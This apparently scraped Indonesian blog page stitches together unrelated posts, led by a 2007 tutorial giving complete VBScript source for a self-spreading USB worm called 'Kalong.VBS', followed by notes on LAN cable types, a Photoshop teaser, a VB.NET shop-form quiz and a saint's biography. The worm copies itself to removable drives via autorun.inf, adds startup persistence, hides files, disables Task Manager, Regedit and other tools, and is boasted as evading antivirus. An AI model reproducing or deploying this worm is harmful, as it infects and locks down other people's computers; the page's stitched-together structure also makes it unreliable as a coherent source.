Membuat Virus Via Notepad

Posted on Agustus 24, 2007 by putuyoga 

Iseng-iseng mencolok Flash Disc saudara saya tiba-tiba saya nemu sebuah malcode lokal yang dibuat dengan bahasa VBS. Wah, ternyata para virus maker mulai melirik memakai bahasa VBS. Mungkin karena menyangkut HAKI (Hak Atas Kekayaan Intelektual) karena VB6.0 yang banyak beredar adalah bajakan. Jadi ia membuat virus dengan VBS yang bisa dibuat hanya dengan Notepad karena di Windows sudah ada compiler yang terintegrasi dengannya, Windows Based Script Host.

Sesua janji saya, kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama “Kalong.VBS”. Sekarang buka Notepad-nya. Copy kode berikut :

‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next

‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd

‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket

for each flashdrive in fs.drives
‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then

‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–//
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes = 39

‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next

‘//–Manipulasi Registry–//

set kalong = createobject(”WScript.Shell”)

‘//–Manip – Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–//
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “

‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”

‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”

‘//–Manip – Disable klik kanan–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”

‘//–Manip – Munculkan Pesan Setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”

‘//–Manip – Aktif setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “

‘//–Manip – Ubah RegisteredOwner dan Organization–//
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”

‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode

Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.

He..he…Virus Worm ini memang bukan murni dari pemikiran saya sendiri karena meniru kode-nya virus Rangga-Zay. Tapi yang ini lebih bagus karena tidak terdeteksi pakai PCMAV RC15, CLAMAV, dan AVAST. Itung-itung ini buat Anda tahu kalau membuat virus/worm tidak perlu membeli software bajakan. Pakai Notepad (dari Windows Original) juga bisa.

Macam – Macam Kabel Jaringan (LAN)

Kabel Local Area Network

Pertama kali LAN menggunakan kabel “coaxial”. Kemudian, kabel “twisted pair” yang digunakan dalam sistem telepon telah mampu membawa frekuensi yang lebih tinggi dan dapat mendukung trafik LAN. Dan saat ini, kabel fiber optik telah tampil sebagai pilhan kabel berkecepatan sangat tinggi.
Local Area Network menggunakan empat tipe kabel :
Coaxial
Unshielded Twisted Pair (UTP)
Shielded Twisted Pair (STP)
Fiber Optik

Penggunaan Kabel Coaxial

Kabel coaxial terkadang digunakan untuk topologi bus, tetapi beberapa produk LAN sudah tidak mendukung koneksi kabel coaxial.
Protokol Ethernet LAN yang dikembangkan menggunakan kabel coaxial:

10Base5 / Kabel “Thicknet” :
adalah sebuah kabel coaxial RG/U-8.
merupakan kabel “original” Ethernet.
tidak digunakan lagi untuk LAN modern.

10Base2 / Kabel “Thinnet”:
adalah sebuah kabel coaxial RG/U-58.
mempunyai diameter yang lebih kecil dari “Thicknet”.
menggantikan “Thicknet”.
tidak direkomendasikan lagi, tetapi masih digunakan pada jaringan LAN yang sangat kecil.

Unshielded Twisted Pair”

Kabel “Unshielded twisted pair” (UTP) digunakan untuk LAN dan sistem telepon. Kabel UTP terdiri dari empat pasang warna konduktor tembaga yang setiap pasangnya berpilin. Pembungkus kabel memproteksi dan menyediakan jalur bagi tiap pasang kawat. Kabel UTP terhubung ke perangkat melalui konektor modular 8 pin yang disebut konektor RJ-45. Semua protokol LAN dapat beroperasi melalui kabel UTP. Kebanyakan perangkat LAN dilengkapi dengan RJ-45.

Kategori UTP

Kategori
Performansi (MHz)
Penggunaan

Cat 1
1 Voice, Mainframe, Dumb Terminal

Cat 2
4 4 MB Token Ring

Cat 3
10 10MB Ethernet

Cat 4
20 16 MB Token Ring

Cat 5
100 100 MB Ethernet

“Shielded Twisted Pair”

“Shielded twisted pair” adalah jenis kabel telepon yang digunakan dalam beberapa bisnis instalasi. Terdapat pembungkus tambahan untuk tiap pasangan kabel (”twisted pair”).Kabel STP juga digunakan untuk jaringan Data, digunakan pada jaringan Token-Ring IBM. Pembungkusnya dapat memberikan proteksi yang lebih baik terhadap interferensi EMI.

Kelemahan kabel STP

Kabel STP mempunyai beberapa kelemahan :
Attenuasi meningkat pada frekuensi tinggi.
Pada frekuensi tinggi, keseimbangan menurun sehingga tidak dapat mengkompensasi timbulnya “crosstalk” dan sinyal “noise”.
Harganya cukup mahal.

Kabel Fiber Optik

Kabel Fiber Optik adalah teknologi kabel terbaru. Terbuat dari glas optik. Di tengah-tengah kabel terdapat filamen glas, yang disebut “core”, dan di kelilingi lapisan “cladding”, “buffer coating”, material penguat, dan pelindung luar.Informasi ditransmisikan menggunakan gelombang cahaya dengan cara mengkonversi sinyal listrik menjadi gelombang cahaya. Transmitter yang banyak digunakan adalah LED atau Laser.

Kelebihan menggunakan kabel Fiber Optik

Kabel Fiber Optik mempunyai beberapa kelebihan, diantaranya :
Kapasitas bandwidth yang besar (gigabit per detik).
Jarak transmisi yang lebih jauh ( 2 sampai lebih dari 60 kilometer).
Kebal terhadap interferensi elektromagnetik.

Kabel Fiber Optik banyak digunakan pada jaringan WAN untuk komunikasi suara dan data. Kendala utama penggunaan kabel fiber optik di LAN adalah perangkat elektroniknya yang masih mahal. Sedangkan harga kabel Fiber Optiknya sendiri sebanding dengan kabel LAN UTP.

Tips n Trik CS3

friends....
pingin tau cara buat gambar kayak gini ?

caranya gampang, gampang banget kita hanya bermain di 4 icon pada menu Photoshop cs3
pertama kita buka menu photoshopnnya terus...

Quis Visual Basic

Public Class Form1


Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
ComboBox1.Items.Add("R01")
ComboBox1.Items.Add("R02")
ComboBox1.Items.Add("R03")
ComboBox1.Items.Add("R04")
End Sub

Private Sub ComboBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ComboBox1.SelectedIndexChanged
TextBox3.Focus()
If ComboBox1.Text = "R01" Then
TextBox1.Text = "Rokok Marlboro"
TextBox2.Text = "9000"
ElseIf ComboBox1.Text = "R02" Then
TextBox1.Text = "Rokok Marcopolo"
TextBox2.Text = "9000"
ElseIf ComboBox1.Text = "R03" Then
TextBox1.Text = "Rokok Sampoerna"
TextBox2.Text = "10000"
ElseIf ComboBox1.Text = "R04" Then
TextBox1.Text = "Rokok Clubmild"
TextBox2.Text = "7000"
End If
End Sub

Private Sub TextBox3_KeyPress(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyPressEventArgs) Handles TextBox3.KeyPress
If e.KeyChar = Chr(13) Then
TextBox7.Focus()
TextBox4.Text = Val(TextBox2.Text) * Val(TextBox3.Text)
If TextBox3.Text >= 5 And TextBox3.Text <= 10 Then
TextBox5.Text = Val(TextBox4.Text) * 0.05
TextBox6.Text = Val(TextBox4.Text) - Val(TextBox5.Text)
ElseIf TextBox3.Text >= 11 Then
TextBox5.Text = Val(TextBox4.Text) * 0.1
TextBox6.Text = Val(TextBox4.Text) - Val(TextBox5.Text)
ElseIf TextBox3.Text <= 4 Then
TextBox5.Text = 0
TextBox6.Text = Val(TextBox4.Text) - Val(TextBox5.Text)

End If
End If
End Sub


Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
TextBox1.Clear()
TextBox2.Clear()
TextBox3.Clear()
TextBox4.Clear()
TextBox5.Clear()
TextBox6.Clear()
TextBox7.Clear()
TextBox8.Clear()
End Sub

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Me.Close()
End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

End Sub

Private Sub TextBox7_KeyPress(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyPressEventArgs) Handles TextBox7.KeyPress
If e.KeyChar = Chr(13) Then
TextBox8.Text = Val(TextBox7.Text) - Val(TextBox6.Text)
End If
End Sub

Private Sub TextBox7_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox7.TextChanged

End Sub
End Class

Paskalis, seorang kudus dari Spanyol, dilahirkan pada tahun 1540. Sejak usia tujuh tahun, ia bekerja sebagai gembala. Ia tidak pernah punya kesempatan untuk bersekolah. Namun demikian, ia belajar sendiri membaca dan menulis. Ia bertanya kepada siapa saja yang ia jumpai untuk membantunya belajar. Ia belajar dengan giat, agar supaya ia dapat membaca buku-buku rohani. Ia membisikkan doa-doa sepanjang hari sementara ia menggembalakan dombanya.

Ketika berusia dua puluh empat tahun, bocah gembala itu menjadi seorang broeder Fransiskan. Teman-temannya suka padanya. Paskalis seorang yang mudah bergaul dan juga seorang yang lembut hati. Rekan biarawan memperhatikan bahwa seringkali ia mengerjakan pekerjaan-pekerjaan yang paling berat dan tidak menyenangkan. Paskalis melakukan mati raga, bahkan lebih keras dari yang ditetapkan dalam peraturan biara. Namun demikian, ia seorang yang senantiasa bersukacita. Dulu, ketika masih seorang gembala, ia merindukan berada di gereja untuk berdoa kepada Yesus. Tetapi, tidak bisa. Sekarang, ia bisa. Jadi, ia sangat senang menemani Kristus dalam Sakramen Mahakudus. Ia juga diijinkan menjadi pelayan Misa.

Dua hal yang amat dicintai Paskalis adalah: Ekaristi Kudus dan Bunda Maria. Setiap hari Paskalis berdoa rosario dengan cinta yang amat besar. Ia juga menuliskan doa-doa yang indah kepada Bunda Surgawi kita.

St. Paskalis membuat sebuah buku kecil dari kertas-kertas buram. Dalam buku catatannya, ia menuliskan pemikiran-pemikirannya dan doa-doanya yang indah. Setelah ia wafat, pemimpin biaranya menunjukkan buku catatan Paskalis pada uskup agung setempat. Bapa Uskup membacanya dan berkata, “Jiwa-jiwa bersahaja ini telah mencuri surga dari kita!”

Paskalis wafat pada tahun 1592 dalam usia lima puluh dua tahun. Ia dinyatakan kudus oleh Paus Alexander VIII pada tahun 1690.

"Bagaimana mempererat hubungan kita dengan Yesus dalam Ekaristi dan dengan Bunda Maria? Jawabannya mungkin merupakan ajakan bagi kita untuk mengunjungi Yesus dalam Sakramen Mahakudus secara istimewa dan mohon Bunda Maria membantu kita agar setia pada Putra-nya."